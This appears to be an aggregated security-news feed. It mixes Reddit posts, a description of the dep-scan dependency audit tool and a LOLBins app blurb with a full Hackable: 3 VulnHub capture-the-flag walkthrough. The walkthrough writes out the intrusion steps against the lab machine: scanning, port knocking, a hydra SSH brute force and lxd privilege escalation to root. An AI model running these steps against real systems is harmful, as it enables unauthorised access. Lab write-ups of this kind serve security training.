Hacking on Medium
DarkNet Interviews: Part 1

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I’ve been taking some time to meet with security professionals from all over the world. I have set up a series of interviews which will be…

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Hacking on Medium
TryHackMe: Wreath

room: https://tryhackme.com/room/wreath

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hacking: security in practice
What's more lucrative? White hat or black hat hacking?

This question is academic, not a request for career advice.

I also understand that black hat hacking can come with room and board included if you get caught.

submitted by /u/anon314159265358p
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hacking: security in practice
Strange message from one of my contacts

Hey guys today one of my contacts ( someone from high school that I didnt speak with for more then 2 years ) sent me a message on Facebook

The message was written in our native language and it translates as : Are you the one in this video ? + LINK

I was kind of freaking out and I was just looking at the message ( I did not click the link ) and while I was thinking what to do he UNSENT the message then I asked this person what is going on and he didnt reply back yet.

The thing that surprised and confused me is that the message was written correctly in our native language ( not english )

So I am asking you guys what is going on ?

submitted by /u/LEggENDE
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Dep-Scan - Fully Open-Source Security Audit For Project Dependencies Based On Known Vulnerabilities And Advisories. Supports Both Local Repos And Container Images. Integrates With Various CI Environments Such As Azure Pipelines, CircleCI, Google CloudBuild
http://www.kitploit.com/2022/01/dep-scan-fully-open-source-security.html

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dep-scan is a fully open-source security audit tool for project dependencies based on known vulnerabilities, advisories and license limitations. Both local repositories and container images are supported as input. The tool is ideal for CI environments with built-in build breaker logic. If you have just come across this repo, probably the best place to start is to checkout the parent project slscan (https://slscan.io/) which include depscan along with a number of other tools.
Features Local repos and container image based scanning with CVE insights [1] Package vulnerability scanning (https://www.kitploit.com/search/label/Vulnerability%20Scanning) is performed locally and is quite fast. No server is used! Suggest optimal fix version by package group (See suggest mode) Perform deep packages risk audit for dependency confusion attacks and maintenance risks (See risk audit) NOTE: [1] Only application related packages in container images are included in scanning. OS packages are not included yet.

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Vulnerability Data sources OSV NVD GitHub NPM Usage dep-scan is ideal for use during continuous integration (https://www.kitploit.com/search/label/Continuous%20Integration) (CI) and also as a tool for local development. Use with ShiftLeft Scan dep-scan is integrated with scan (https://github.com/ShiftLeftSecurity/sast-scan), a free and open-source SAST tool. To enable this feature simply pass depscan to the --type argument. Refer (https://slscan.io/) to the scan documentation for more information. ---
--type python,depscan,credscan This approach should work for all CI environments supported by scan. Scanning projects locally (Python version) sudo npm install -g @appthreat/cdxgen
pip install appthreat-depscan This would install two commands called cdxgen and scan. You can invoke the scan command directly with the various options. depscan --src $PWD --report_file $PWD/reports/depscan.json">cd
depscan --src $PWD --report_file $PWD/reports/depscan.json Full list of options are below: usage: depscan [-h] [--no-banner] [--cache] [--sync] [--suggest] [--risk-audit] [--private-ns PRIVATE_NS] [-t PROJECT_TYPE] [--bom BOM] -i SRC_DIR [-o REPORT_FILE]
[--no-error]
-h, --help show this help message and exit
--no-banner Do not display banner
--cache Cache vulnerability information in platform specific user_data_dir
--sync Sync to receive the latest vulnerability data. Should have invoked cache first.
--suggest Suggest appropriate fix version for each identified vulnerability.
--risk-audit Perform package risk audit (slow operation). Npm only.
--private-ns PRIVATE_NS
Private namespace to use while performing oss risk audit. Private packages should not be available in public registries by default. Comma
sep arated values accepted.
-t PROJECT_TYPE, --type PROJECT_TYPE
Override project type if auto-detection is incorrect
--bom BOM Examine using the given Software Bill-of-Materials (SBoM) file in CycloneDX format. Use cdxgen command to produce one.
-i SRC_DIR, --src SRC_DIR
Source directory
-o REPORT_FILE, --report_file REPORT_FILE
Report filename with directory
--no-error Continue on error to prevent build from breaking Scanning containers locally (Python version) Scan latest tag of the container shiftleft/scan-slim depscan --no-error --cache --src shiftleft/scan-slim -o containertests/depscan-scan.json -t docker Include license to the type to perform license audit. depscan --no-error --cache --src shiftleft/scan-slim -o containertests/depscan-scan.json -t docker,license You can also specify the image using the sha256 digest depscan --no-error --src redmine@sha256:a5c5f8a64a0d9a436a0a6941bc3fb156be0c89996add834fe33b66ebeed2439e -o containertests/depscan-redmine.json -t docker You can also save container images using docker or podman save command and pass the archive to depscan for scanning. docker save -o /tmp/scanslim.tar shiftleft/scan-slim:latest
# podman save --format oci-archive -o /tmp/scanslim.tar shiftleft/scan-slim:latest
depscan --no-error --src /tmp/scanslim.tar -o reports/depscan-scan.json -t docker Refer to the docker tests under GitHub action workflow for this repo for more examples. Scanning projects locally (Docker container) appthreat/dep-scan or quay.io/appthreat/dep-scan container image can be used to perform the scan. To scan with default settings docker run --rm -v $PWD:/app appthreat/dep-scan scan --src /app --report_file /app/reports/depscan.json To scan with custom environment variables based configuration \ -v /tmp:/db \ -v $PWD:/app appthreat/dep-scan scan --src /app --report_file /app/reports/depscan.json">docker run --rm \
-e VDB_HOME=/db \
-e NVD_START_YEAR=2010 \
-e GITHUB_PAGE_COUNT=5 \

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-e GITHUB_TOKEN= \
-v /tmp:/db \
-v $PWD:/app appthreat/dep-scan scan --src /app --report_file /app/reports/depscan.json In the above example, /tmp is mounted as /db into the container. This directory is then specified as VDB_HOME for caching the vulnerability information. This way the database can be cached and reused to improve performance. Supported languages and package format dep-scan uses cdxgen (https://github.com/AppThreat/cdxgen) command internally to create Software Bill-of-Materials (SBoM) file for the project. This is then used for performing the scans. The following projects and package-dependency format is supported by cdxgen. Language Package format node.js package-lock.json, pnpm-lock.yaml, yarn.lock, rush.js java maven (pom.xml [1]), gradle (build.gradle, .kts), scala (sbt) php composer.lock python setup.py, requirements.txt [2], Pipfile.lock, poetry.lock, bdist_wheel, .whl go binary, go.mod, go.sum, Gopkg.lock ruby Gemfile.lock, gemspec rust Cargo.toml, Cargo.lock .Net .csproj, packages.config, project.assets.json, packages.lock.json docker / oci image All supported languages excluding OS packages NOTE The docker image for dep-scan currently doesn't bundle suitable java and maven commands required for bom generation. To workaround this limitation, you can - Use python-based execution from a VM containing the correct versions for java, maven and gradle. Generate the bom file by invoking cdxgen command locally and subsequently passing this to dep-scan via the --bom argument. Integration with CI environments Integration with Azure DevOps Refer to this example yaml (https://github.com/AppThreat/WebGoat/blob/develop/azure-pipelines.yml#L33) configuration for integrating dep-scan with Azure Pipelines. The build step would perform the scan and display the report inline as shown below:

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Kali Linux Tutorials
LOLBins : PyQT5 App For LOLBAS And GTFOBins

LOLBins is a PyQT app to list all Living Off The Land Binaries and Scripts for Windows from LOLBAS and Unix binaries that can be used to bypass local security restrictions in misconfigured systems from GTFOBins.
https://blogger.googleusercontent.com/img/a/AVvXsEiaxG_Ik8nOFoG5kTWQeSamManID5EDwuNBviDqFiRudn-wSOWBJl7E4MZl7CFkyPX47LjiYqQBBed36lkjBiu8XqjN29aqyhFC7Qhji8mW_qFplEoAlrpnKLlbfnBDfMt3SPG72Nzl8RMidrJ9N0dn67DxCeuvH3suAQRxVzbO9VLFlxp8vPXkHuiL=s1039 Download

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How I Hacked into Pune University’s Exam/Teachers Portal
https://shreyas-gurjar.medium.com/how-i-hacked-into-pune-universitys-exam-teachers-portal-6c498d51e6ad?source=rss------bug_bounty-5

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Bypassing the Authentication mechanism results in an amazing Account takeover.Continue reading on Medium » (https://shreyas-gurjar.medium.com/how-i-hacked-into-pune-universitys-exam-teachers-portal-6c498d51e6ad?source=rss------bug_bounty-5)

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Hacking Articles|Raj Chandel's Blog
Hackable: 3 VulnHub Walkthrough

Hackable: 3, Vulnhub medium machine was created by Elias Sousa and can be downloaded here.This lab is designed for experienced CTF players who want to put their abilities to the test. We used the machine in the way that it was designed. Also, if you haven't checked the machine or are having problems, you can attempt every approach you know. The key is port knocking, so let's get started and discover how to split things down into digestible chunks. Pentesting Methodology● netdiscover● nmap● abusing http● dirb● wordlist● port knocking● hydra● ssh● user flag● linpeas● lxd● root flagTo begin with, we must use the netdiscovercommand to scan the network for the IP address of the victim machine.netdiscoverOur IP address is 192.168.1.185.Nmap. For open port enumeration.nmap -sC -sV 192.168.1.185According to Nmap, we have an SSH server operating on port 22 and an HTTP service (Apache Server) running on port 80.EnumerationFirst, we'll attempt to use HTTP. Let's look at port 80 and see if anything interesting comes up. We can immediately verify it in the browser because the Apache Server is listening on port 80.login page."jubiscleudo."port knocking.https://blogger.googleusercontent.com/img/a/AVvXsEg5dzsOwH__RbupQ-l5c033EKAS_KlSorzXpRQYECF8Eu_baDuetC0dNVN8i-FkHx5Njequkd9FpqRTWARIhskPJ1ECZnUhTNVepG5p4F5jVZ_HVMkFEp69kUsQ5xn1LKuETe12MLy_Upb07rw-TNhmosHSMiRzofKOMYwUDLtNfqnJZ6sy5iXcKDy9hQ=s16000 To find out more about this laboratory. To uncover certain hidden directory paths, we execute a dirb directory scan.dirb http://192.168.1.185/Let's look through a lot of trustworthy directories, so let's look through them one by one.backup directory. We obtained a word list filethat might be valuable in the future.___________________________
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Et8HFO_L73m-3Hlrfsirm6mGHgodJMq6kdbquTCas_3HX6ylII__nhO3j8i6h_ZJCTIqSpZRMMfPrlPCXWDggT5tIg=s16000 As a result, we run the wget command to download this word list to our machine.wget http://192.168.1.185/backup/wordlist.txthttps://blogger.googleusercontent.com/img/a/AVvXsEhLZM499xBUbcE72tbHdXo13bTYS-wE5Zd0gsAIK-8ZCfiIBS26gyQHinfoNxv2h_HKXd7ILA1j9OehSYdyCZKy8SqfsdLEpOkZ7tMbAyKwy8mTma2zPNnuno-ljdlS1YMvUm7Tdags5PAenN-FQOY2GRY4oM4HOaABmZ5gJq-ougO2PyJ7CnlvZhVtag=s16000 Let's look at the second config directory; we found a file called 1.txt. We ran this file through the browser and discovered some essential but mysterious context.decode this text using the following command.We received our first text of port knockingafter recovering the initial text (10000).echo MTAwMDA= | base64 -dhttps://blogger.googleusercontent.com/img/a/AVvXsEgonhSm44bJZc5fmvbpi7g0RqmAaT9UjwllWkObLO-EALHuV89yRKLUcvcQLbsYJa-HBFm4Lj2nAVgj17ibVlY3gh4gbNn5nSWhr8UxDsF9DI346MFJTiTqJBFRri4noWeSblQlQ_D5oPb6vWtTwTLYZHPvChQz-Ci0HDMIBSS5wcLP5W2qmoiLx-Z8cg=s16000 When we checked the third one (css directory), we got another text file called 2.txt. where we obtained an enumeration of brain fucks.4444) of port knocking activity by providing them with our text.: 10000 and 4444. Remember that we obtained a link to a login page earlier? We immediately checked that URL but found nothing interesting. So, we looked at the source code. We found an image called 3.jpgthat might provide some insight into the problem.steghide,which could be useful in certain situations. For our image file, we now provide the steghide tool. Hurray!! We received a top-secret text file.steghide extract -sf 3.jpgTo explore this file, we use the catcommand. Congratulations!! 65535is our third context of port knocking.cat steganopayload48505.txthttps://blogger.googleusercontent.com/img/a/AVvXsEgaW5gIjfhX1cFYtylI_IZle-QWiOcUq0ZjjPaZfIsOfOyi1wXaD7CjMPD79HZvGjaSVQrAq8umJDyyFyaGjWnDt0cdEfB3B4QrUWMBkMvnNiHKndrEvm7WkjY_LxKmpumvoNWQRbg0GVBwjCYVhqtL7o5fPk07bjfFR_RM3CgOZExn9VdKUNGEL7-DVw=s16000 We're now ready to perform port knocking. We're good to go if we use this command in conjunction with our context.knock 192.168.1.185 10000 4444 65535We run an nmapsc[...]

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an after port knocking to see what results we get. As you can see, the sshport has been opened.nmap -sV 192.168.1.185https://blogger.googleusercontent.com/img/a/AVvXsEj4XJ8il2EhcF72wFhFketOyAtyYJDbwGmqFUyR-5wPOH3b4qu2f7W0XDWYvm_cKHxElmiz2qXLtLiUaj1eurO6B6RH7ylPby9gfRz9eAkdnshBsNjQ_XW38_i8uN_9UvjpCiEJVRH366AJVxd8P4_Z-3B3Da_sqwJ5KflFSgOxUAVbjdnS-aPfX_p0eg=s16000 ExploitationNow we're ready to attempt exploitation using the information we gained from previous outcomes, including a user name gained from source code. Let's try a brute force attack with the word list we stored for later.hydratool to begin a brute force attack. Bingo!! We have a username (jubiscleudo) and a password (onlymy).hydra -l jubiscleudo -P wordlist.txt 192.168.1.185 sshhttps://blogger.googleusercontent.com/img/a/AVvXsEgRiTvTej74I9DIgtAF81tYZ5f0SrrJgAerLXU4-SWzKPsuhoEW6-cqVdlHslGjRppt9DHGD_Mpkr1IfYs969Vw8eIdZ4PrmGvE3thomXDeWWh2KXYrbN5vDb4-y70C09ZVDjQPcztgrTvYi1NoKzRosqeJm-X6fIoBfmG1OsaA4hcwUzhvCbdAyRwk3w=s16000 Now let's use the credentials we received from the brute-force attack to log into ssh. Hurray!! The user jubiscleudowas successfully logged in. We instantly examined its id, then used the cat command to reveal the hidden user flag.ssh jubiscleudo@192.168.1.185https://blogger.googleusercontent.com/img/a/AVvXsEjJw9wksN1n69ofidQ1f6ZtZz-Is2sGg0r5x7pl4hJxHTFFGm-vK7VCFZapsY-u7LhoCHeVqvUMMCq37SVk3zF0dw88qwZ76ZhqUDJjnqjBorSmdC8bqqtKBj00_gf77W_qPkg47icXFM3zc_zlwtgnIvixTh3Ysk8fDNtxfTptLWtxMfsLUZxpgkom4w=s16000 After all of this, we require another clue in order to get further into this machine. As a result, we employ the linpeas script to uncover some more buried data. More information about this script may be found here.Privilege EscalationLet's get this party started by changing the user to hackable_3. Then, after checking its user id, we discovered that it was potentially vulnerable to lxd. As a result, we can use lxd privilege escalationto gain root access.su hackable_3https://blogger.googleusercontent.com/img/a/AVvXsEjbosxw5QOudklWRdOZLYF7JmnxHjjiYn2qgjHgRuc5-Caaf2L-escvcbyDiNKmRhDwbV9KJ_Dhy_WIeIhJbrZP3yYIz64j5P5Y-S8_l2-wOeCZBjC1uQC7HIm_9lqkZPzBytQfLBQ3gK9lIJQJF7tGTSTdCEg-oka8KCXrALq9tMbtisWlVSHuoYOlkA=s16000 Privilege escalation via lxdnecessitates the use of a local account, which we already have. To escalate the root privileges of the host system, we must first generate an image for lxd, which requires the following steps:Steps must be taken on the host machine are as follows:● Take a look at the alpine image./root directory.reference of our article from here.git clone  https://github.com/saghul/lxd-alpine-builder.gita simple python http serverto transfer this file to the victim's machine. On t[...]

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he other hand, we will download the alpine-image to the victim machine's /tmpdirectory.wget 192.168.1.3:8000/alpine-v3.13-x86_64-20210218_0139.tar.gzAfter the image has been created, it may be added to LXDas an imageas follows:lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimageUse the list command to check the listof images.lxc image listhttps://blogger.googleusercontent.com/img/a/AVvXsEg4njfsqOVgdjRK4nlzgsUF9hcJ_ZHKn66CTJ34ujdtAQ6bvt1A3XIjV_7GzvlkqgSBa9EdGge0yMyPbn274fDuvKlecAB26wHXjUZOL5jx6Lu5UNSt13_qPmu6IIV1ufMI9ruJFzaL3Sg5YVdPzzBQQGXevxqixX5vwU4FNC14WMkSwrHV4XAwO5YFaw=s16000 We receive an error message stating that we do not have a storage pool. As a result, we must create one. We can use default settings in this case.lxd initAfter that, I proceeded as follows, continuing from the previous failed step.lxc init myimage ignite -c security.privileged=trueNavigate to /mnt/root to see all resources from the host machine once inside the container.cat root.txthttps://blogger.googleusercontent.com/img/a/AVvXsEgdJsfKy-vsLrCL5ZtCpwViXDPpGOwS0b_ADX5q_h9wWJUzRXb_yn0OVMcPEZ_bMuNGqX0NsW7R3C4NmAg06GpTrWK4N0lNzjXZwRx58vj7Ldilr8RNfp66kVpP1yuU_ARVFIXubZkST_zUrmbSiRRZvnZBpypHOVhZBaTFMe-pmf30vAm5iNxBS2myJQ=s16000 This was an excellent lab with a lot of information, particularly in the enumeration and privilege escalation sections. It is worthwhile to try to obtain some CTF experience. Hopefully, you guys will learn something new from this walkthrough.Author: Shubham Sharma is a passionate Cybersecurity Researcher, contact LinkedInand Twitter.___________________________
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